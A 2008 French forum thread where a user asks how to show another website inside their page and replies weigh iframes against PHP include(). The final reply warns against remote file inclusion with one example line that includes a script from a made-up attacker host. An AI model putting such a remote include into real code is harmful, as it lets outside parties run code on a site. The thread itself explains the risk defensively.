Rechercher : dans
Par :

Insérer une page web dans une autre

Dernière réponse le 19 nov 2008 à 12:15:04 BillG, le 19 nov 2008 à 10:41:41 
 Signaler ce message aux modérateurs

Bonjour,


J'aimerais insérer une page web à l'intérieur d'une autre. Comment faire s.v.p. ?

voici un exemple. :

mon site serait qq chose comme : www.abc123cba321.com

mais dans le bas de la page de ce site, j'aimerais afficher la page d'un autre site.


un grand merci pour vos réponses

Configuration: Windows XP
Internet Explorer 7.0

Meilleures réponses pour « insérer une page web dans une autre » dans :
[Webmaster] Publier facilement une vidéo dans une page web VoirPublier une vidéo dans une page web n'est pas toujours évident: Selon le format (AVI, MPG, MOV...) tout le monde ne possède pas forcément le bon plugin et le bon codec. En revanche, la quasi-totalité des navigateurs possèdent le plugin Flash (SWF)....
[Webmaster] Les polices dans les pages web VoirLes limites du web Quand vous utilisez une police dans une page web, elle ne s'affichera que si l'internaute a la même police installée sur son ordinateur. Vous n'avez aucun moyen de forcer l'internaute à télécharger et installer une police, pas...
Enregistrer une page web VoirProblème Je n'arrive pas à télécharger une page web. Y a-t-il un paramétrage à faire ? Solution Quand la page web est affichée dans votre navigateur, faites "Fichier" et choisissez "Enregistrer sous...". Merci à sebsauvage sur le forum pour...

1

BillG, le 19 nov 2008 à 10:50:11

Re,

je précise que je désire voir le contenu de la page web insérée dans mon site.

Imaginez que vous avez votre site et que vous ajoutiez un espace pour voir la météo du jour à même votre site. Donc avec le lien du site de météo de votre région intégré dans votre site.

Moi ce sera pour voir les mises à jour d'un site en relation avec le mien. Je veux voir les mises à jour de ce site dans le mien.


Des solutions? m'ais-je bien exprimé?

Répondre à BillG

2

xxkirastarothxx, le 19 nov 2008 à 10:50:30

Il faut que tu créé un page en php:
(index.php par exemple)
et tu insert ce code:

<?php
include("www.abc123cba321.com");
?>
Simplement :)
t'as pas du chercher beaucoup hein ;)

Quote: m'ais-je bien exprimé?
me suis-je ?? ^^

Si la réponse te conviens, penses a mètre en résolu ;)

Répondre à xxkirastarothxx

3

BillG, le 19 nov 2008 à 10:58:01

C'est surtout que je ne sais pas exactement avec quel terme chercher sur mon ami préféré.

ok merci pour ta réponse. Je vais vérifier immédiatement. Merci également de me corriger... en passant avec "tu", fuat pas oublier le "s" ;P

Répondre à BillG

4

Belgicain, le 19 nov 2008 à 11:01:10

Pour insérer une page d'un autre Site sur votre page, vous pouvez utiliser les frames, c'est à dire diviser votre document en 2 frames. Dans la première frame vous placez l' l'URL de votre propre page et dans la deuxième vous placez l' URL de la page d'un autre site que vous désirez placez dans votre page.

J' espère que vous maîtriser bien les notions de balise pour les frames, pour bien réaliser cet petit problème.
Merci.

Répondre à Belgicain

5

xxkirastarothxx, le 19 nov 2008 à 11:11:17

Avec le titre de ton topic dans google la réponse se trouvait dans sur le premier lien ^^
(bon, soit, je suis nul en orthographe/conjugaison/grammaire etc... mais à l'oral ma phrase serrai juste ^^)
Allez! bonne journée à toi ;)
† Quel est le plus grand mal de l'humanité, L'ignorance ou l'indifférence ? †
† A vrai dire... J'en sais rien, et j'm'en fou ... †

Répondre à xxkirastarothxx

6

BillG, le 19 nov 2008 à 11:32:26

Re,

Belgicain, peux-tu copier/coller un exemple de code s.v.p. Ton idée me plaie bien.


xxkirastarothxx,

<?php
include("www.abc123cba321.com");
?>


je place ca entre <head> et </head> ?
ou après <body> ?


parce que la ca ne fait rien. je mets "www.google.com" comme site

<?php
include("www.google.com");
?>

et je ne le vois pas dans ma page .php . Dois-je ajouter http:// ?

Répondre à BillG

7

xxkirastarothxx, le 19 nov 2008 à 11:44:22

Heu... :$
Non c'est moi qui te raconte de la mer**
include c'est pour inclure un fichier php, pas un site externe

essaye plutot ça:

<IFRAME src="http://google.fr" width=600 height=200 scrolling=auto frameborder=1 > </IFRAME>
(width: largeur en px height:hauteur en px; scrolling: met un ascenseur si la page dépasse les mesures; frameborder: bordure de frame)


Edit: et je continue dans ma serie de connerie ^^
Include marche correctement pour insérer une page externe, c'est ta config apache qui bloc.
lorsque tu utilisais include 'http://google.fr' tu as du avoir un message de ce style:

Warning: include() [function.include]: URL file-access is disabled in the server configuration in
ça veux dire qu'apache a désactivé l'inclusion de fichier externe (question de sécurité), mais ça se modifie dans ton apache.conf ;)

c'est lié à la directive allow_url_include (versions >= 5.2.0) et/ou allow_url_fopen dans php.ini ou apache.conf (sais pu)
mais il est déconseillé de modifier cet option, donc utilise bien <IFRAME> ;)
Tiens et pis un 'ti cadeau:
http://pagesperso-orange.fr/bernard.quevillier/toposnew/iframe.htm
† Quel est le plus grand mal de l'humanité, L'ignorance ou l'indifférence ? †
† A vrai dire... J'en sais rien, et j'm'en fou ... †

Répondre à xxkirastarothxx

8

BillG, le 19 nov 2008 à 12:07:11

J'ai fais comme ca :

http://www.projetweb.com/labalise/documents/frames_exemple.h­tml

mais j'ai lu que cette méthode est vieille et il est préférable d'utiliser include ...

mais bon ca fonctionne . Je vais mettre le sujet en résolu apres qq tests.

merci pour m'avoir conduit sur la bonne route

Répondre à BillG

9

 xxkirastarothxx, le 19 nov 2008 à 12:15:04

Les iframes sont effectivement obsolètes, mais c'est moins dangereux que d'inclure un fichier externe via include:
pour cela il faut modifier les configs sus-cité dans le php.ini, et pour beaucoup de développeur, les includes servent pour 99% des cas à inclure des fichiers stockés localement; des fois grâce a des variables passés en GET
le fait que l'inclusion d'url distante soit désactivé sert a éviter les inclusions du genre
include "http://un-vilain-hacker.com/pete-tout-ton-site.php";
;)

En gros: tu inclus un fichier distant (google / yahoo / msn / autre site externe) => utilise l'iframe
tu inclus un fichier stocké sur ton serveur => utilise l'include ( include ('chemin/relatif/vers/ton/fichier.php');)
† Quel est le plus grand mal de l'humanité, L'ignorance ou l'indifférence ? †
† A vrai dire... J'en sais rien, et j'm'en fou ... †

Répondre à xxkirastarothxx